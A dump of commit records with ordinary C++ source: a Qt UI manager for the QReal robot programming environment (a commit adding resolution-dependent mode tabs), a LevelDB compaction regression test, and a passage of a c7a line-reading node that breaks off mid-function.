&qReal::SystemEvents::ensureDiagramVisible, this, &UiManager::ensureDiagramVisible);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::interpretationStarted\n\t\t\t, this, &UiManager::switchToDebuggerMode);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::interpretationStarted\n\t\t\t, mRobotConsole, &qReal::ui::ConsoleDock::clear);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::robotModelChanged\n\t\t\t, [=]() { QTimer::singleShot(0, this, SLOT(reloadDocksSavingToolbarsAndErrors())); });\n\tconnect(&robotModelManager, &kitBase::robotModel::RobotModelManagerInterface::robotModelChanged\n\t\t\t, this, &UiManager::onRobotModelChanged);\n\tconnect(&debugModeAction, &QAction::triggered, this, &UiManager::switchToDebuggerMode);\n\tconnect(&editModeAction, &QAction::triggered, this, &UiManager::switchToEditorMode);\n\n\tmRobotConsole->hide();\n\tinitTab();\n\tmMainWindow.addDockWidget(Qt::BottomDockWidgetArea, mRobotConsole);\n\tmMainWindow.tabifyDockWidget(mRobotConsole, mMainWindow.errorReporterDock());\n\tmMainWindow.windowWidget()->addAction(mRobotConsole->toggleViewAction());\n\tmRobotConsole->toggleViewAction()->setShortcut(Qt::ALT + Qt::Key_2);\n\n\tmMainWindow.statusBar()->setAutoFillBackground(true);\n\tmMainWindow.statusBar()->setStyleSheet(\"QStatusBar::item { border: 0px solid black; padding: 10px; }\");\n\teditModeAction.setProperty(\"modeName\", tr(\"edit mode\"));\n\tdebugModeAction.setProperty(\"modeName\", tr(\"debug mode\"));\n\tproduceModeButton(Mode::Editing, debugModeAction, mMainWindow.statusBar());\n\tproduceModeButton(Mode::Debugging, editModeAction, mMainWindow.statusBar());\n\n\tswitchToEditorMode();\n\tonActiveTabChanged(qReal::TabInfo());\n}\n\nvoid UiManager::placeDevicesConfig(QWidget *devicesWidget)\n{\n\tQDockWidget * const devicesDock = produceDockWidget(QObject::tr(\"Configure devices\"), devicesWidget);\n\tdevicesDock->setObjectName(\"devicesConfigurationDock\");\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, devicesDock);\n}\n\nvoid UiManager::placeWatchPlugins(QDockWidget *watchWindow, QWidget *graphicsWatch)\n{\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, watchWindow);\n\twatchWindow->setObjectName(\"variablesDebuggerDock\");\n\twatchWindow->setFloating(false);\n\n\tQDockWidget * const graphWatchDock = produceDockWidget(QObject::tr(\"Sensors state\"), graphicsWatch);\n\tgraphWatchDock->setObjectName(\"graphicsWatcherDock\");\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, graphWatchDock);\n\n\tmMainWindow.tabifyDockWidget(watchWindow, graphWatchDock);\n\treloadDocks();\n}\n\nqReal::ui::ConsoleDock &UiManager::robotConsole()\n{\n\treturn *mRobotConsole;\n}\n\nvoid UiManager::onActiveTabChanged(const qReal::TabInfo &tab)\n{\n\tif (tab.type() == mCurrentTab) {\n\t\treturn;\n\t}\n\n\tsaveDocks();\n\tmCurrentTab = tab.type();\n\treloadDocks();\n\ttoggleModeButtons();\n}\n\nvoid UiManager::onRobotModelChanged(kitBase::robotModel::RobotModelInterface &model)\n{\n\tauto subscribeShell = [this, &model]() {\n\t\tif (kitBase::robotModel::robotParts::Shell * const shell = kitBase::robotModel::RobotModelUtils::findDevice\n\t\t\t\t<kitBase::robotModel::robotParts::Shell>(model, \"ShellPort\"))\n\t\t{\n\t\t\tconnect(shell, &kitBase::robotModel::robotParts::Shell::textPrinted\n\t\t\t\t\t, mRobotConsole, &qReal::ui::ConsoleDock::print, Qt::UniqueConnection);\n\t\t}\n\t};\n\n\t\/\/ Shell can be already configured or not. However, checking for it now or later, when everything is ready for use.\n\tsubscribeShell();\n\tconnect(&model, &kitBase::robotModel::RobotModelInterface::allDevicesConfigured, subscribeShell);\n}\n\nvoid UiManager::switchToEditorMode()\n{\n\tswitchToMode(Mode::Editing);\n}\n\nvoid UiManager::switchToDebuggerMode()\n{\n\tswitchToMode(Mode::Debugging);\n}\n\nvoid UiManager::switchToMode(UiManager::Mode mode)\n{\n\tif (mCurrentMode == mode) {\n\t\treturn;\n\t}\n\n\tsaveDocks();\n\tmCurrentMode = mode;\n\treloadDocksSavingToolbarsAndErrors();\n\ttoggleModeButtons();\n}\n\nvoid UiManager::toggleModeButtons()\n{\n\tmTabBar->setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\tmEditModeAction.setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\tmDebugModeAction.setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\tmEditModeAction.setChecked(mCurrentMode == Mode::Editing);\n\tmDebugModeAction.setChecked(mCurrentMode == Mode::Debugging);\n\n\tconst QColor color = mCurrentTab == qReal::TabInfo::TabType::other\n\t\t\t? backgrondColor\n\t\t\t: mCurrentMode == Mode::Editing ? editModeColor : debugModeColor;\n\tQPalette palette;\n\tpalette.setColor(QPalette::Background, color);\n\tpalette.setColor(QPalette::Base, color);\n\tmMainWindow.statusBar()->setPalette(palette);\n}\n\nQDockWidget *UiManager::produceDockWidget(const QString &title, QWidget *content) const\n{\n\tQDockWidget * const dock = new QDockWidget(title);\n\tdock->setWidget(content);\n\treturn dock;\n}\n\nvoid UiManager::produceModeButton(UiManager::Mode mode, QAction &action, QStatusBar *statusBar) const\n{\n\tQWidget *result = nullptr;\n\tswitch (mode) {\n\tcase Mode::Dummy:\n\t\treturn;\n\tcase Mode::Editing:\n\t\tresult = new ui::ModeStripe(action, tr(\"Edit mode\"), statusBar);\n\t\tbreak;\n\tcase Mode::Debugging:\n\t\tresult = new ui::ModeStripe(action, tr(\"Debug mode\"), statusBar);\n\t\tbreak;\n\t}\n\n\tif (!result) {\n\t\tqWarning() << \"Forgot to implement producing status bar button for mode\" << static_cast<int>(mode);\n\t\treturn;\n\t}\n\n\tstatusBar->addWidget(result, 10);\n}\n\nint UiManager::currentMode() const\n{\n\treturn static_cast<int>(mCurrentTab) | static_cast<int>(mCurrentMode);\n}\n\nQString UiManager::currentSettingsKey() const\n{\n\treturn \"docksStateInMode\" + QString::number(currentMode());\n}\n\nvoid UiManager::saveDocks() const\n{\n\tqReal::SettingsManager::setValue(currentSettingsKey(), mMainWindow.saveState(currentMode()));\n}\n\nvoid UiManager::reloadDocks() const\n{\n\thack2dModelDock();\n\tconst QByteArray state = qReal::SettingsManager::value(currentSettingsKey()).toByteArray();\n\tif (!mMainWindow.restoreState(state, currentMode())) {\n\t\tQLOG_ERROR() << \"Cannot apply docks state for mode\" << currentMode() << \":\" << state;\n\t} else {\n\t\tresetMainWindowCorners();\n\t\t\/\/ Same trick as main window does with error reporter.\n\t\tif (mRobotConsole->isEmpty()) {\n\t\t\tmRobotConsole->hide();\n\t\t}\n\t}\n}\n\nvoid UiManager::reloadDocksSavingToolbarsAndErrors() const\n{\n\t\/\/ To this moment toolbars already updated their visibility. Calling just reloadDocks() here\n\t\/\/ will loose some toolbars visibility and error reporter state, so memorizing it here...\n\tconst bool errorReporterWasVisible = mMainWindow.errorReporterDock()->isVisible();\n\tconst bool robotConsoleWasVisible = mRobotConsole->isVisible();\n\tQMap<QToolBar *, bool> toolBarsVisiblity;\n\tfor (QToolBar * const toolBar : mMainWindow.toolBars()) {\n\t\ttoolBarsVisiblity[toolBar] = toolBar->isVisible();\n\t}\n\n\t\/\/ Now reloading docks, toolbars are in random visibility after this...\n\treloadDocks();\n\n\t\/\/ And finally restoring old configuration.\n\tmMainWindow.errorReporterDock()->setVisible(errorReporterWasVisible);\n\tmRobotConsole->setVisible(robotConsoleWasVisible);\n\tfor (QToolBar * const toolBar : toolBarsVisiblity.keys()) {\n\t\ttoolBar->setVisible(toolBarsVisiblity[toolBar]);\n\t}\n}\n\nvoid UiManager::resetMainWindowCorners() const\n{\n\t\/\/ Seems like on different platforms the default corner occupation is different, so fixing it here...\n\tmMainWindow.setCorner(Qt::TopRightCorner, Qt::RightDockWidgetArea);\n\tmMainWindow.setCorner(Qt::BottomRightCorner, Qt::BottomDockWidgetArea);\n\tmMainWindow.setCorner(Qt::TopLeftCorner, Qt::LeftDockWidgetArea);\n\tmMainWindow.setCorner(Qt::BottomLeftCorner, Qt::BottomDockWidgetArea);\n}\n\nvoid UiManager::ensureDiagramVisible()\n{\n\tif (mCurrentMode == Mode::Editing) {\n\t\treturn;\n\t}\n\n\t\/\/ 2D model is placed into smart dock that may hide central widget if docked into TopDockWidgetArea.\n\t\/\/ If we met such case then switching to editor mode.\n\tfor (utils::SmartDock * const twoDModel : mMainWindow.windowWidget()->findChildren<utils::SmartDock *>()) {\n\t\tif (twoDModel->isCentral()) {\n\t\t\tswitchToEditorMode();\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nvoid UiManager::initTab()\n{\n\tmTabBar = new QToolBar(mMainWindow.windowWidget());\n\tmTabBar->setObjectName(\"largeTabsBar\");\n\tmTabBar->setIconSize(QSize(32, 32));\n\tmTabBar->setToolButtonStyle(Qt::ToolButtonTextUnderIcon);\n\tmMainWindow.addToolBar(Qt::LeftToolBarArea, mTabBar);\n\tmTabBar->addAction(&mEditModeAction);\n\tmTabBar->addAction(&mDebugModeAction);\n\n\tconnect(&mEditModeAction, &QAction::triggered, this, &UiManager::switchToEditorMode);\n\tconnect(&mDebugModeAction, &QAction::triggered, this, &UiManager::switchToDebuggerMode);\n}\n\nvoid UiManager::hack2dModelDock() const\n{\n\t\/\/ 2D model is placed into smart dock: it may be embedded into instance of QDialog\n\t\/\/ that is not influeced by mMainWindow::restoreState. So we must first switch to a docked form\n\t\/\/ and then restore docks state.\n\tif (utils::SmartDock * const twoDModel = mMainWindow.windowWidget()->findChild<utils::SmartDock *>()) {\n\t\ttwoDModel->switchToDocked();\n\t}\n}\n\nvoid UiManager::enableDocksSnapshotter() const\n{\n\t\/\/ This method provides tools only for development.\n\t\/\/ It must not be called in master branch code.\n\tQWidget * const mainWindow = dynamic_cast<QWidget *>(&mMainWindow);\n\tQDialog * const dialog = new QDialog(mainWindow);\n\tQVBoxLayout * const layout = new QVBoxLayout;\n\tdialog->setLayout(layout);\n\tQPushButton * const button = new QPushButton(\"Snapshot docks\", mainWindow);\n\tQLineEdit * const lineEdit = new QLineEdit(mainWindow);\n\tconnect(button, &QPushButton::clicked, [=]() {\n\t\tconst QString tempSettingsFileName = \"tempFileForStoringWindowState\";\n\t\tQSettings tempSettings(tempSettingsFileName, QSettings::IniFormat);\n\t\ttempSettings.setValue(currentSettingsKey(), mMainWindow.saveState(currentMode()));\n\t\ttempSettings.sync();\n\t\tlineEdit->setText(utils::InFile::readAll(tempSettingsFileName).split(\"\\n\", QString::SkipEmptyParts).last());\n\t\tQFile::remove(tempSettingsFileName);\n\t});\n\tlayout->addWidget(button);\n\tlayout->addWidget(lineEdit);\n\tdialog->show();\n}\n<commit_msg>Implemented mode tab sight customizing with screen resolution [ci skip]<commit_after>\/* Copyright 2007-2015 QReal Research Group, Dmitry Mordvinov\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"uiManager.h\"\n\n#include <QtCore\/QTimer>\n#include <QtWidgets\/QAction>\n#include <QtWidgets\/QApplication>\n#include <QtWidgets\/QDesktopWidget>\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QLineEdit>\n#include <QtWidgets\/QPushButton>\n#include <QtWidgets\/QStatusBar>\n#include <QtWidgets\/QToolBar>\n#include <QtWidgets\/QVBoxLayout>\n\n#include <qrkernel\/logging.h>\n#include <qrkernel\/settingsManager.h>\n#include <qrutils\/inFile.h>\n#include <qrutils\/smartDock.h>\n#include <qrutils\/widgets\/consoleDock.h>\n#include <kitBase\/robotModel\/robotModelUtils.h>\n#include <kitBase\/robotModel\/robotParts\/shell.h>\n\n#include \"src\/ui\/modeStripe.h\"\n\nconst int lowerMediumResolutionBorder = 1024;\nconst int upperMediumResolutionBorder = 1280;\n\nusing namespace interpreterCore;\n\nstatic const QColor backgrondColor = QPalette().color(QPalette::Background);\nstatic const QColor editModeColor = QPalette().color(QPalette::Background);\nstatic const QColor debugModeColor = qRgb(152, 251, 152);\n\nUiManager::UiManager(QAction &debugModeAction\n\t\t, QAction &editModeAction\n\t\t, qReal::gui::MainWindowDockInterface &mainWindow\n\t\t, qReal::SystemEvents &systemEvents\n\t\t, kitBase::EventsForKitPluginInterface &kitPluginEvents\n\t\t, kitBase::robotModel::RobotModelManagerInterface &robotModelManager)\n\t: mDebugModeAction(debugModeAction)\n\t, mEditModeAction(editModeAction)\n\t, mMainWindow(mainWindow)\n\t, mTabBar(nullptr)\n\t, mRobotConsole(new qReal::ui::ConsoleDock(tr(\"Robot console\"), mMainWindow.windowWidget()))\n{\n\tmMainWindow.graphicalModelDock()->setWindowTitle(QObject::tr(\"Blocks\"));\n\n\tconnect(&systemEvents, &qReal::SystemEvents::activeTabChanged, this, &UiManager::onActiveTabChanged);\n\tconnect(&systemEvents, &qReal::SystemEvents::ensureDiagramVisible, this, &UiManager::ensureDiagramVisible);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::interpretationStarted\n\t\t\t, this, &UiManager::switchToDebuggerMode);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::interpretationStarted\n\t\t\t, mRobotConsole, &qReal::ui::ConsoleDock::clear);\n\tconnect(&kitPluginEvents, &kitBase::EventsForKitPluginInterface::robotModelChanged\n\t\t\t, [=]() { QTimer::singleShot(0, this, SLOT(reloadDocksSavingToolbarsAndErrors())); });\n\tconnect(&robotModelManager, &kitBase::robotModel::RobotModelManagerInterface::robotModelChanged\n\t\t\t, this, &UiManager::onRobotModelChanged);\n\tconnect(&debugModeAction, &QAction::triggered, this, &UiManager::switchToDebuggerMode);\n\tconnect(&editModeAction, &QAction::triggered, this, &UiManager::switchToEditorMode);\n\n\tmRobotConsole->hide();\n\tinitTab();\n\tmMainWindow.addDockWidget(Qt::BottomDockWidgetArea, mRobotConsole);\n\tmMainWindow.tabifyDockWidget(mRobotConsole, mMainWindow.errorReporterDock());\n\tmMainWindow.windowWidget()->addAction(mRobotConsole->toggleViewAction());\n\tmRobotConsole->toggleViewAction()->setShortcut(Qt::ALT + Qt::Key_2);\n\n\tmMainWindow.statusBar()->setAutoFillBackground(true);\n\tmMainWindow.statusBar()->setStyleSheet(\"QStatusBar::item { border: 0px solid black; padding: 10px; }\");\n\teditModeAction.setProperty(\"modeName\", tr(\"edit mode\"));\n\tdebugModeAction.setProperty(\"modeName\", tr(\"debug mode\"));\n\tproduceModeButton(Mode::Editing, debugModeAction, mMainWindow.statusBar());\n\tproduceModeButton(Mode::Debugging, editModeAction, mMainWindow.statusBar());\n\n\tswitchToEditorMode();\n\tonActiveTabChanged(qReal::TabInfo());\n}\n\nvoid UiManager::placeDevicesConfig(QWidget *devicesWidget)\n{\n\tQDockWidget * const devicesDock = produceDockWidget(QObject::tr(\"Configure devices\"), devicesWidget);\n\tdevicesDock->setObjectName(\"devicesConfigurationDock\");\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, devicesDock);\n}\n\nvoid UiManager::placeWatchPlugins(QDockWidget *watchWindow, QWidget *graphicsWatch)\n{\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, watchWindow);\n\twatchWindow->setObjectName(\"variablesDebuggerDock\");\n\twatchWindow->setFloating(false);\n\n\tQDockWidget * const graphWatchDock = produceDockWidget(QObject::tr(\"Sensors state\"), graphicsWatch);\n\tgraphWatchDock->setObjectName(\"graphicsWatcherDock\");\n\tmMainWindow.addDockWidget(Qt::LeftDockWidgetArea, graphWatchDock);\n\n\tmMainWindow.tabifyDockWidget(watchWindow, graphWatchDock);\n\treloadDocks();\n}\n\nqReal::ui::ConsoleDock &UiManager::robotConsole()\n{\n\treturn *mRobotConsole;\n}\n\nvoid UiManager::onActiveTabChanged(const qReal::TabInfo &tab)\n{\n\tif (tab.type() == mCurrentTab) {\n\t\treturn;\n\t}\n\n\tsaveDocks();\n\tmCurrentTab = tab.type();\n\treloadDocks();\n\ttoggleModeButtons();\n}\n\nvoid UiManager::onRobotModelChanged(kitBase::robotModel::RobotModelInterface &model)\n{\n\tauto subscribeShell = [this, &model]() {\n\t\tif (kitBase::robotModel::robotParts::Shell * const shell = kitBase::robotModel::RobotModelUtils::findDevice\n\t\t\t\t<kitBase::robotModel::robotParts::Shell>(model, \"ShellPort\"))\n\t\t{\n\t\t\tconnect(shell, &kitBase::robotModel::robotParts::Shell::textPrinted\n\t\t\t\t\t, mRobotConsole, &qReal::ui::ConsoleDock::print, Qt::UniqueConnection);\n\t\t}\n\t};\n\n\t\/\/ Shell can be already configured or not. However, checking for it now or later, when everything is ready for use.\n\tsubscribeShell();\n\tconnect(&model, &kitBase::robotModel::RobotModelInterface::allDevicesConfigured, subscribeShell);\n}\n\nvoid UiManager::switchToEditorMode()\n{\n\tswitchToMode(Mode::Editing);\n}\n\nvoid UiManager::switchToDebuggerMode()\n{\n\tswitchToMode(Mode::Debugging);\n}\n\nvoid UiManager::switchToMode(UiManager::Mode mode)\n{\n\tif (mCurrentMode == mode) {\n\t\treturn;\n\t}\n\n\tsaveDocks();\n\tmCurrentMode = mode;\n\treloadDocksSavingToolbarsAndErrors();\n\ttoggleModeButtons();\n}\n\nvoid UiManager::toggleModeButtons()\n{\n\tmEditModeAction.setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\tmDebugModeAction.setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\tmEditModeAction.setChecked(mCurrentMode == Mode::Editing);\n\tmDebugModeAction.setChecked(mCurrentMode == Mode::Debugging);\n\tif (mTabBar) {\n\t\tmTabBar->setVisible(mCurrentTab != qReal::TabInfo::TabType::other);\n\t}\n\n\tconst QColor color = mCurrentTab == qReal::TabInfo::TabType::other\n\t\t\t? backgrondColor\n\t\t\t: mCurrentMode == Mode::Editing ? editModeColor : debugModeColor;\n\tQPalette palette;\n\tpalette.setColor(QPalette::Background, color);\n\tpalette.setColor(QPalette::Base, color);\n\tmMainWindow.statusBar()->setPalette(palette);\n}\n\nQDockWidget *UiManager::produceDockWidget(const QString &title, QWidget *content) const\n{\n\tQDockWidget * const dock = new QDockWidget(title);\n\tdock->setWidget(content);\n\treturn dock;\n}\n\nvoid UiManager::produceModeButton(UiManager::Mode mode, QAction &action, QStatusBar *statusBar) const\n{\n\tQWidget *result = nullptr;\n\tswitch (mode) {\n\tcase Mode::Dummy:\n\t\treturn;\n\tcase Mode::Editing:\n\t\tresult = new ui::ModeStripe(action, tr(\"Edit mode\"), statusBar);\n\t\tbreak;\n\tcase Mode::Debugging:\n\t\tresult = new ui::ModeStripe(action, tr(\"Debug mode\"), statusBar);\n\t\tbreak;\n\t}\n\n\tif (!result) {\n\t\tqWarning() << \"Forgot to implement producing status bar button for mode\" << static_cast<int>(mode);\n\t\treturn;\n\t}\n\n\tstatusBar->addWidget(result, 10);\n}\n\nint UiManager::currentMode() const\n{\n\treturn static_cast<int>(mCurrentTab) | static_cast<int>(mCurrentMode);\n}\n\nQString UiManager::currentSettingsKey() const\n{\n\treturn \"docksStateInMode\" + QString::number(currentMode());\n}\n\nvoid UiManager::saveDocks() const\n{\n\tqReal::SettingsManager::setValue(currentSettingsKey(), mMainWindow.saveState(currentMode()));\n}\n\nvoid UiManager::reloadDocks() const\n{\n\thack2dModelDock();\n\tconst QByteArray state = qReal::SettingsManager::value(currentSettingsKey()).toByteArray();\n\tif (!mMainWindow.restoreState(state, currentMode())) {\n\t\tQLOG_ERROR() << \"Cannot apply docks state for mode\" << currentMode() << \":\" << state;\n\t} else {\n\t\tresetMainWindowCorners();\n\t\t\/\/ Same trick as main window does with error reporter.\n\t\tif (mRobotConsole->isEmpty()) {\n\t\t\tmRobotConsole->hide();\n\t\t}\n\t}\n}\n\nvoid UiManager::reloadDocksSavingToolbarsAndErrors() const\n{\n\t\/\/ To this moment toolbars already updated their visibility. Calling just reloadDocks() here\n\t\/\/ will loose some toolbars visibility and error reporter state, so memorizing it here...\n\tconst bool errorReporterWasVisible = mMainWindow.errorReporterDock()->isVisible();\n\tconst bool robotConsoleWasVisible = mRobotConsole->isVisible();\n\tQMap<QToolBar *, bool> toolBarsVisiblity;\n\tfor (QToolBar * const toolBar : mMainWindow.toolBars()) {\n\t\ttoolBarsVisiblity[toolBar] = toolBar->isVisible();\n\t}\n\n\t\/\/ Now reloading docks, toolbars are in random visibility after this...\n\treloadDocks();\n\n\t\/\/ And finally restoring old configuration.\n\tmMainWindow.errorReporterDock()->setVisible(errorReporterWasVisible);\n\tmRobotConsole->setVisible(robotConsoleWasVisible);\n\tfor (QToolBar * const toolBar : toolBarsVisiblity.keys()) {\n\t\ttoolBar->setVisible(toolBarsVisiblity[toolBar]);\n\t}\n}\n\nvoid UiManager::resetMainWindowCorners() const\n{\n\t\/\/ Seems like on different platforms the default corner occupation is different, so fixing it here...\n\tmMainWindow.setCorner(Qt::TopRightCorner, Qt::RightDockWidgetArea);\n\tmMainWindow.setCorner(Qt::BottomRightCorner, Qt::BottomDockWidgetArea);\n\tmMainWindow.setCorner(Qt::TopLeftCorner, Qt::LeftDockWidgetArea);\n\tmMainWindow.setCorner(Qt::BottomLeftCorner, Qt::BottomDockWidgetArea);\n}\n\nvoid UiManager::ensureDiagramVisible()\n{\n\tif (mCurrentMode == Mode::Editing) {\n\t\treturn;\n\t}\n\n\t\/\/ 2D model is placed into smart dock that may hide central widget if docked into TopDockWidgetArea.\n\t\/\/ If we met such case then switching to editor mode.\n\tfor (utils::SmartDock * const twoDModel : mMainWindow.windowWidget()->findChildren<utils::SmartDock *>()) {\n\t\tif (twoDModel->isCentral()) {\n\t\t\tswitchToEditorMode();\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nvoid UiManager::initTab()\n{\n\tconnect(&mEditModeAction, &QAction::triggered, this, &UiManager::switchToEditorMode);\n\tconnect(&mDebugModeAction, &QAction::triggered, this, &UiManager::switchToDebuggerMode);\n\n\tconst QSize resolution = QApplication::desktop()->screenGeometry().size();\n\tif (resolution.width() < lowerMediumResolutionBorder) {\n\t\t\/\/ The screen is super-small, do not show tab bar at all\n\t\tmMainWindow.statusBar()->addAction(&mEditModeAction);\n\t\tmMainWindow.statusBar()->addAction(&mDebugModeAction);\n\t\treturn;\n\t}\n\n\tmTabBar = new QToolBar(mMainWindow.windowWidget());\n\tmTabBar->setObjectName(\"largeTabsBar\");\n\tmTabBar->setIconSize(QSize(32, 32));\n\tmTabBar->setToolButtonStyle(resolution.width() < upperMediumResolutionBorder\n\t\t\t? Qt::ToolButtonIconOnly \/\/ On small resolutions in some locales text may be too wide.\n\t\t\t: Qt::ToolButtonTextUnderIcon);\n\tmMainWindow.addToolBar(Qt::LeftToolBarArea, mTabBar);\n\tmTabBar->addAction(&mEditModeAction);\n\tmTabBar->addAction(&mDebugModeAction);\n}\n\nvoid UiManager::hack2dModelDock() const\n{\n\t\/\/ 2D model is placed into smart dock: it may be embedded into instance of QDialog\n\t\/\/ that is not influeced by mMainWindow::restoreState. So we must first switch to a docked form\n\t\/\/ and then restore docks state.\n\tif (utils::SmartDock * const twoDModel = mMainWindow.windowWidget()->findChild<utils::SmartDock *>()) {\n\t\ttwoDModel->switchToDocked();\n\t}\n}\n\nvoid UiManager::enableDocksSnapshotter() const\n{\n\t\/\/ This method provides tools only for development.\n\t\/\/ It must not be called in master branch code.\n\tQWidget * const mainWindow = dynamic_cast<QWidget *>(&mMainWindow);\n\tQDialog * const dialog = new QDialog(mainWindow);\n\tQVBoxLayout * const layout = new QVBoxLayout;\n\tdialog->setLayout(layout);\n\tQPushButton * const button = new QPushButton(\"Snapshot docks\", mainWindow);\n\tQLineEdit * const lineEdit = new QLineEdit(mainWindow);\n\tconnect(button, &QPushButton::clicked, [=]() {\n\t\tconst QString tempSettingsFileName = \"tempFileForStoringWindowState\";\n\t\tQSettings tempSettings(tempSettingsFileName, QSettings::IniFormat);\n\t\ttempSettings.setValue(currentSettingsKey(), mMainWindow.saveState(currentMode()));\n\t\ttempSettings.sync();\n\t\tlineEdit->setText(utils::InFile::readAll(tempSettingsFileName).split(\"\\n\", QString::SkipEmptyParts).last());\n\t\tQFile::remove(tempSettingsFileName);\n\t});\n\tlayout->addWidget(button);\n\tlayout->addWidget(lineEdit);\n\tdialog->show();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013 The LevelDB Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file. See the AUTHORS file for names of contributors.\n\n\/\/ Test for issue 178: a manual compaction causes deleted data to reappear.\n#include <iostream>\n#include <sstream>\n#include <cstdlib>\n\n#include \"leveldb\/db.h\"\n#include \"leveldb\/write_batch.h\"\n#include \"util\/testharness.h\"\n\nnamespace {\n\nconst int kNumKeys = 1100000;\n\nstd::string Key1(int i) {\n char buf[100];\n snprintf(buf, sizeof(buf), \"my_key_%d\", i);\n return buf;\n}\n\nstd::string Key2(int i) {\n return Key1(i) + \"_xxx\";\n}\n\nclass Issue178 { };\n\nTEST(Issue178, Test) {\n \/\/ Get rid of any state from an old run.\n std::string dbpath = leveldb::test::TmpDir() + \"\/leveldb_cbug_test\";\n DestroyDB(dbpath, leveldb::Options());\n\n \/\/ Open database. Disable compression since it affects the creation\n \/\/ of layers and the code below is trying to test against a very\n \/\/ specific scenario.\n leveldb::DB* db;\n leveldb::Options db_options;\n db_options.create_if_missing = true;\n db_options.compression = leveldb::kNoCompression;\n ASSERT_OK(leveldb::DB::Open(db_options, dbpath, &db));\n\n \/\/ create first key range\n leveldb::WriteBatch batch;\n for (size_t i = 0; i < kNumKeys; i++) {\n batch.Put(Key1(i), \"value for range 1 key\");\n }\n ASSERT_OK(db->Write(leveldb::WriteOptions(), &batch));\n\n \/\/ create second key range\n batch.Clear();\n for (size_t i = 0; i < kNumKeys; i++) {\n batch.Put(Key2(i), \"value for range 2 key\");\n }\n ASSERT_OK(db->Write(leveldb::WriteOptions(), &batch));\n\n \/\/ delete second key range\n batch.Clear();\n for (size_t i = 0; i < kNumKeys; i++) {\n batch.Delete(Key2(i));\n }\n ASSERT_OK(db->Write(leveldb::WriteOptions(), &batch));\n\n \/\/ compact database\n std::string start_key = Key1(0);\n std::string end_key = Key1(kNumKeys - 1);\n leveldb::Slice least(start_key.data(), start_key.size());\n leveldb::Slice greatest(end_key.data(), end_key.size());\n\n \/\/ commenting out the line below causes the example to work correctly\n db->CompactRange(&least, &greatest);\n\n \/\/ count the keys\n leveldb::Iterator* iter = db->NewIterator(leveldb::ReadOptions());\n size_t num_keys = 0;\n for (iter->SeekToFirst(); iter->Valid(); iter->Next()) {\n num_keys++;\n }\n delete iter;\n ASSERT_EQ(kNumKeys, num_keys) << \"Bad number of keys\";\n\n \/\/ close database\n delete db;\n DestroyDB(dbpath, leveldb::Options());\n}\n\n} \/\/ anonymous namespace\n\nint main(int argc, char** argv) {\n return leveldb::test::RunAllTests();\n}\n<commit_msg>testing<commit_after><|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n * c7a\/api\/read_lines.hpp\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Alexander Noe <aleexnoe@gmail.com>\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#pragma once\n#ifndef C7A_API_READ_LINES_HEADER\n#define C7A_API_READ_LINES_HEADER\n\n#include <c7a\/api\/dia.hpp>\n#include <c7a\/api\/dop_node.hpp>\n#include <c7a\/common\/logger.hpp>\n#include <c7a\/net\/buffer_builder.hpp>\n\/\/ C7A_{\/UN}LIKELY\n#include <c7a\/common\/math.hpp>\n#include <c7a\/common\/item_serialization_tools.hpp>\n\n#include <fcntl.h>\n#include <fstream>\n#include <glob.h>\n#include <string>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\nnamespace c7a {\nnamespace api {\n\n\/\/! \\addtogroup api Interface\n\/\/! \\{\n\n\/*!\n * A DIANode which performs a line-based Read operation. Read reads a file from\n * the file system and emits it as a DIA.\n *\/\nclass ReadLinesNode : public DOpNode<std::string>\n{\npublic:\n using Super = DOpNode<std::string>;\n using Super::context_;\n using Super::result_file_;\n\tusing FileSizePair = std::pair<std::string, size_t>;\n\n \/*!\n * Constructor for a ReadLinesNode. Sets the Context\n * and file path.\n *\n * \\param ctx Reference to Context, which holds references to data and\n * network.\n *\n * \\param path Path of the input file(s)\n *\/\n ReadLinesNode(Context& ctx,\n const std::string& path,\n StatsNode* stats_node)\n : Super(ctx, { }, \"Read\", stats_node),\n path_(path)\n {\n glob_t glob_result;\n struct stat filestat;\n glob(path_.c_str(), GLOB_TILDE, nullptr, &glob_result);\n size_t directory_size = 0;\n\n for (unsigned int i = 0; i < glob_result.gl_pathc; ++i) {\n const char* filepath = glob_result.gl_pathv[i];\n\n if (stat(filepath, &filestat)) {\n throw std::runtime_error(\n \"ERROR: Invalid file \" + std::string(filepath));\n }\n if (!S_ISREG(filestat.st_mode)) continue;\n\n directory_size += filestat.st_size;\n\n filesize_prefix.push_back(std::make_pair(filepath, directory_size));\n }\n globfree(&glob_result);\n }\n\n void Execute() final { }\n\n void PushData() final {\n InputLineIterator it = GetInputLineIterator(\n filesize_prefix, context_.my_rank(), context_.num_workers());\n\n 